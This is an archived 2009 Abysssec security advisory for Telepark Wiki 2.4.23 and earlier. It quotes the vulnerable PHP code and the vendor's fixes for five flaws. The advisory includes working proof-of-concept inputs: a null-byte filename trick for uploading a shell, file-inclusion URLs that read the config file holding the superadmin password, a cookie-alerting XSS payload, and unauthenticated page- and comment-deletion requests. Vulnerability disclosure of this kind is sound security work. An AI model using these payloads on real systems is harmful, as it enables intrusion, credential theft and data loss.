what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Telepark Wiki 2.4.23 XSS / Code Execution

Telepark Wiki 2.4.23 XSS / Code Execution
Posted Nov 17, 2009
Authored by Abysssec | Site abysssec.com

Telepark Wiki versions 2.4.23 and below suffer from code execution, delete page, and cross site scripting vulnerabilities.

tags | exploit, vulnerability, code execution, xss
SHA-256 | e05ff3e7914791681f62150cfc68fabd723e0080f71a3052bee1138a83e2fa59

Telepark Wiki 2.4.23 XSS / Code Execution

Change Mirror Download
Abysssec Inc Public Advisory


Title : Telepark Wiki Multiple Remote Vulnerabilities
Affected Version : <= v2.4.23
Vendor Site : www.teamtodo.com

Discovery : www.Abysssec.com

Vendor contact : 8 november
Vendor response : 9 november (patch is available in vendor website)


Description :



now vendor patched all vulnerabities and you can see "FIXED" section in after vulnerable codes. so there is no point to keep these vulnerabites private anymore.
and final note these vulnerabities are just for educational purpose and author will be not be responsible for any
damage using this vulnerabiltes .

a real big thanks to muts [at] offsec .com

Vulnerabilites :
=================================================================================
1- upload shell / remote command execute vulnerability in /ajax/addComment.php

there are intersting vulnerability in commeting system even guest can comment in this wiki.


Vulnerability :

line 65-68
$body.=stripslashes($_POST['wikiComment'])."\n\n";
if( isset($_FILES['wikiFile']) && !empty($_FILES['wikiFile']['tmp_name'])) {
$body.=str_replace("<FILE>",$_POST['wikiFileName'],str_file_uploaded).".\n";
}


for bypass you can use : image.jpg%00.php
note : use group variable for changing directory to another writeable directory

FIXED:
line 22:
if (isset($_POST['wikiComment']) && isset($_POST['pageID']) && $wiki->isUserPage($_POST['pageID'],"loggedUser",true,P_COMMENT)) {
added check is user allowed to comment

line 29:
$data=$wiki->savePage($data,"comment");
savePage now returns checked data - if file name is not allowed returns empty string instead of name

line 67:
$body.=str_replace("<FILE>",$data['wikiFileName'],str_file_uploaded).".\n";
uses checked filename returned from savePage function

====================================================================================

2- local file include and admin password disclosure in getjs.php , getcsslocal.php , upload.php (patched in latest)

Vulnerability :

getcsslocal.php

line 3-14


$css=$_GET['css'];

$filepath=str_replace(basename($_SERVER['PHP_SELF']),"",__FILE__);

$fp=@fopen($filepath.$css,"r");
$file="";
if ($fp) {
while (!feof($fp)) {
$file.=fgets($fp,4096);
}
fclose($fp);
}

PoC : https://vulnerable.com/getcsslocal.php?css=/includes/config.inc.php
note: config file is cleare text and contains superadmin password !

FIXED :

line 4-5

$filepath=str_replace(basename($_SERVER['PHP_SELF']),"",__FILE__);
$fileinfo=pathinfo($filepath.$css);



=================================================================================
getjs.php

line 3-14

$js=$_GET['js'];

$filepath=str_replace(basename($_SERVER['PHP_SELF']),"",__FILE__);

$fp=@fopen($filepath.$js,"r");
$file="";
if ($fp) {
while (!feof($fp)) {
$file.=fgets($fp,4096);
}
fclose($fp);
}

FIXED :

line 4-5

$fileinfo=pathinfo($filepath.$js);
if ($fileinfo['extension']!="js") die();



PoC : https://vulnerable.com/getjs.php?css=/includes/config.inc.php
note: config file is cleare text and contains superadmin password !

=================================================================================
upload.php

line 47-62

if ($group!="") $group.="/";
if ($show) {
$go=true;
if (IS_MOBILE) {
$wiki=new WIki();
$mobile=new WikiMobile($wiki);
$go=!$mobile->resizeImage("UserFiles/upload/".$group.$filename);
}
if ($go) {
header('Content-Type: "'.mime_get_type($filename).'"');
readfile("UserFiles/upload/".$group.$filename);
}
} else {
header("HTTP/1.0 401 Authorization Required");
}
?>

FIXED :

line 54-65

$file=realpath("UserFiles/upload/".$group.$filename);
if ($file===false) {
header("HTTP/1.0 404 Not Found");
exit();
}
$test=str_replace(str_replace(basename(__FILE__),"",__FILE__),"",$file);
if (substr($test,0,strlen("UserFiles/upload/"))!="UserFiles/upload/") {
header("HTTP/1.0 401 Authorization Required");
exit();
}

PoC : https://vulnerable.com/upload.php?group=/includes/config.inc.php
note: config file is cleare text and contains superadmin password !
====================================================================================

3- Cross Site Scripting in index.php

Vulnerability :

there is a simple cross site scripting in index .


PoC : https://www.vulnerable.com/index.php/"><script>alert(document.cookie)</script>

FIXED:
new function untaintURL in app_header.inc.php
in config.inc.php changed definition of ROOT_URL:
lines 168-169:
$folder=str_replace("index.php","",$folder);
define("ROOT_URL",untaintUrl(str_replace("/ajax","",(($_SERVER['SERVER_PORT']==443)?"https://":"https://") . $_SERVER['HTTP_HOST'] . $folder)));

====================================================================================

4- Delete Page Vulnerability in /ajax/deletePage.php

Vulnerability:

there is vulnerability can delete pages without any authentication !

line 20-24

if (isset($_POST['pageID'])) {
$pageID = $_POST['pageID'];
$wiki = new Wiki();
$wiki->deletePage($pageID);
}

PoC : https://www.vulnerable.com/ajax/deletePage.php
POST = PageId = [Page]

FIXED:
line 20:
if (isset($_POST['pageID']) && $wiki->isUserPage($_POST['pageID'],"loggedUser",true,P_DELETE)) {
added check for user permissions

====================================================================================
5- Delete Comment Vulnerability /ajax/deleteComment.php

line 21-40

if (isset($_POST['pageID'])) $pageID = $_POST['pageID']; //getting variable
else $pageID = '-1';
$wiki = new Wiki();

$time=$_POST['comment'];

$data= $wiki->loadPage($pageID);
$comments = $data['wikiComment'];
for ($i=0; $i<count($comments); $i++) {
$tmp=explode("|",$comments[$i]);
if (trim($tmp[0])==trim($time)) {
unset($data['wikiComment'][$i]);
break;
}
}
$data['wikiComment']=array_merge($data['wikiComment']);
$data['pageID']=$pageID;
$data=$wiki->addSpamFields($data);

$wiki->updatePage($data); // update

PoC : https://www.vulnerable.com/ajax/deleteComment.php
POST = PageId = [Page]

FIXED:
line 25:
if ($wiki->user($wiki->loggedUserId())!="Superadmin") die("Access denied");
added check for superadmin before processing

====================================================================================

feel free to contact me : admin [at] abysssec.com
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close